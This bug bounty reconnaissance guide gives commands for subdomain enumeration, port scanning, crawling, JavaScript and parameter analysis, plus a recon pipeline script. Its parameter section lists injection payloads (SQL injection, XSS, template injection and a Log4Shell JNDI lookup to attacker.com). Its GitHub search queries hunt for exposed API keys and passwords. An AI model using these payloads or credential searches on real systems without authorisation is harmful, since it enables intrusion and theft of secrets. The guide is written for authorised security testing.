How to Find Bug Bounties

The Art of Bug Bounty Reconnaissance

Bug bounty hunting is often compared to treasure hunting, and reconnaissance is the map that leads you to the treasure. While many hunters jump straight into testing targets, successful researchers understand that comprehensive reconnaissance separates the beginners from the professionals. Your attack surface is directly proportional to your success rate: more assets discovered means more vulnerabilities to find.

The harsh reality of bug bounty hunting is that most hunters target the same obvious endpoints, competing for the same low-hanging fruits. Meanwhile, forgotten subdomains, staging environments, abandoned applications, and hidden APIs contain vulnerabilities that nobody is looking for. This guide teaches you systematic reconnaissance techniques that professional hunters use to maximize their success.

Phase 1: Passive Reconnaissance

Passive reconnaissance involves gathering information without directly interacting with the target. This phase is completely undetectable and provides foundational data for active testing. Start here before touching any target systems.

# Certificate Transparency Log Enumeration
# One of the most effective passive techniques
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Alternative: crt.sh with Wildcard
curl -s "https://crt.sh/?q=target.com&output=json" | jq -r '.[].name_value' \
  | sed 's/*\.//g' | sort -u | grep -v "^target.com$"

# DNS Aggregator Services
# Use Rapid7 DNS Database (passive)
wget -qO- "https://dnsdumpster.com/static/xml/<target>.xml" 2>/dev/null

# Findomain (Fast subdomain discovery)
findomain -t target.com -o

# Assetfinder (Combines multiple sources)
assetfinder target.com | grep target.com

# Amass Passive Mode
amass enum -passive -d target.com -o passive_subdomains.txt

# Search for organization repositories
site:github.com "target.com" language:python

# GitHub Search Queries
# Find exposed API keys
filename:.env API_KEY
filename:config.json password

# Internal endpoint references
"api.internal" OR "api.staging"

# JavaScript files revealing endpoints
filename:*.js "api."

# GitDumper for cloning org repositories
gitdumper.sh https://github.com/target/ ./target-repos/

# Search for credentials in commit history
git log --all --grep="password" --oneline
git log --all --grep="api" --oneline

# GitLeaks for automated secret scanning
git clone https://github.com/target/repo
gitleaks detect --source ./repo

Phase 2: Active Reconnaissance

Active reconnaissance involves direct interaction with target systems. This phase requires careful methodology to avoid overwhelming targets with requests or triggering security alerts. Balance thoroughness with discretion.

# MassDNS for fast DNS bruteforcing
massdns -r resolvers.txt -t A -o S -w results.txt domains.txt

# Custom wordlists for Indian targets
# Include: dev, staging, test, beta, api, mobile, old, backup

#dns-wordlist.txt
www
api
dev
staging
test
beta
admin
portal
app
mobile
vpn
git
jenkins
ci
stage
old
backup

# amass active enumeration
amass enum -active -d target.com -o active_subdomains.txt

# Naabu for fast port scanning
naabu -host target.com -rate 1000 -top-ports 100

# Nmap comprehensive scan
nmap -sV -sC -p- -T4 -oA nmap_results target.com

# Masscan for internet-wide scans
masscan -p1-65535 192.168.1.0/24 --rate=1000

# Service detection for all subdomains
for domain in $(cat subdomains.txt); do
  naabu -host $domain -rate 1000 -top-ports 100
done | tee port_scan_results.txt

# Gospider - Fast web crawler
gospider -s https://target.com -d 5 -t 10 -o gospider_results

# Hakrawler for endpoint discovery
cat targets.txt | hakrawler -depth 5 -plain

# FFUF for directory busting
ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,204,301,302,307,401,403

# Advanced: Parameter discovery with Arjun
arjun -i params.txt -u https://target.com/endpoint -t 10

# Waybackurls for historical endpoints
echo "target.com" | waybackurls | sort -u

# Gau (Get All URLs) - Faster alternative
gau target.com | grep "=" | uro | grep -E "\.(js|php|aspx|jsp)"

Phase 3: JavaScript Analysis

Modern web applications heavily rely on JavaScript, and JS files contain a wealth of information: API endpoints, hidden parameters, internal paths, and sometimes hardcoded credentials. JavaScript analysis often reveals attack surfaces that standard crawling misses entirely.

# LinkFinder - Extract endpoints from JS files
python3 linkfinder.py -i https://target.com/main.js -o cli

# SecretFinder - Find API keys and secrets
python3 secretFinder.py -i https://target.com/main.js

# JSFScan - Comprehensive JS analysis
python3 jsfscan.py --url https://target.com

# Automated JS extraction with Katana
katana -list targets.txt -jc -d 5 -o js_endpoints.txt

# Retire.js for vulnerable JS libraries
 retire --path ./js_files/

# Manual: grep for patterns
grep -r "api" *.js | grep -oE "https?://[^\"']+" | sort -u
grep -r "endpoint" *.js | grep -oE "['\"][^'\"]*['\"]" | sort -u

Finding Hidden Parameters

Parameter-based vulnerabilities often hide in endpoints that appear safe on the surface. Hidden parameters can reveal IDOR vulnerabilities, XXE endpoints, SSRF triggers, and authentication bypass opportunities. Systematic parameter discovery is a crucial skill for serious bug hunters.

# Arjun - HTTP parameter discovery
arjun -u https://target.com/endpoint -t 10

# Parameth - Parameter enumeration
python3 parameth.py -u https://target.com

# Burp Suite Intruder for parameter testing
# Use pitchfork mode with multiple parameter wordlists

# Common parameter names to test
id, user, account, page, search, admin,
file, debug, test, query, token, key,
api, v, ver, version, format, output,
callback, data, input, q, s, dest, redirect

# FFUF for parameter fuzzing
ffuf -w params.txt -u "https://target.com/page?FUZZ=test" \
  -fc 400 -mr "error" -od param_results

# Nuclei templates for parameter testing
nuclei -t parametertesting-templates/ -l urls.txt

# Common test payloads for parameters
' OR '1'='1
"><script>alert(1)</script>
{{7*7}}
${jndi:ldap://attacker.com/a}
%00nullbyte
 CRLF injection headers
 Unicode normalization bugs

Visual Reconnaissance and Screenshots

Visual reconnaissance helps identify interesting pages and applications that warrant deeper testing. Screenshots of all discovered assets enable rapid visual triage, focusing your manual testing on the most promising targets.

# Aquatone - Screenshot all discovered subdomains
cat subdomains.txt | aquatone -ports 80,443,8080 -threads 10

# Eyewitness - Alternative screenshot tool
eyewitness -f subdomains.txt -d screenshots/

# httpx - Fast HTTP probing with screenshot support
cat subdomains.txt | httpx -ports 80,443,8080,8443 \
  -screenshot -thread-ratio 10

# Naabu + httpx pipeline
cat subdomains.txt | naabu -ports 80,443,8080 | \
  httpx -screenshot -title -tech-detect

# Organize screenshots by technology
# Focus manual testing on interesting stacks

Building Your Reconnaissance Methodology

Successful bug bounty hunters develop systematic methodologies that they apply consistently across all targets. A repeatable process ensures no asset is overlooked and maximizes efficiency over time.

#!/bin/bash
# Bug Bounty Reconnaissance Pipeline
TARGET=$1

echo "[*] Starting reconnaissance on $TARGET"

# Phase 1: Subdomain Enumeration
echo "[*] Phase 1: Subdomain enumeration..."
findomain -t $TARGET -o findomain_$TARGET.txt
amass enum -passive -d $TARGET -o amass_$TARGET.txt
subfinder -d $TARGET -o subfinder_$TARGET.txt

# Combine and deduplicate
cat findomain_$TARGET.txt amass_$TARGET.txt subfinder_$TARGET.txt | \
  sort -u > all_subdomains_$TARGET.txt

# Phase 2: DNS Resolution
echo "[*] Phase 2: DNS resolution..."
dns_probe -l all_subdomains_$TARGET.txt -o resolved_$TARGET.txt

# Phase 3: Port Scanning
echo "[*] Phase 3: Port scanning..."
naabu -host $TARGET -rate 1000 -top-ports 100 -o naabu_$TARGET.txt

# Phase 4: Screenshot Gathering
echo "[*] Phase 4: Screenshots..."
cat all_subdomains_$TARGET.txt | httpx -screenshot -thread-ratio 10

# Phase 5: Web Crawling
echo "[*] Phase 5: Web crawling..."
gospider -s https://$TARGET -d 5 -t 10 -o crawler_$TARGET

echo "[*] Reconnaissance complete. Results in ./$TARGET-recon/"

Frequently Asked Questions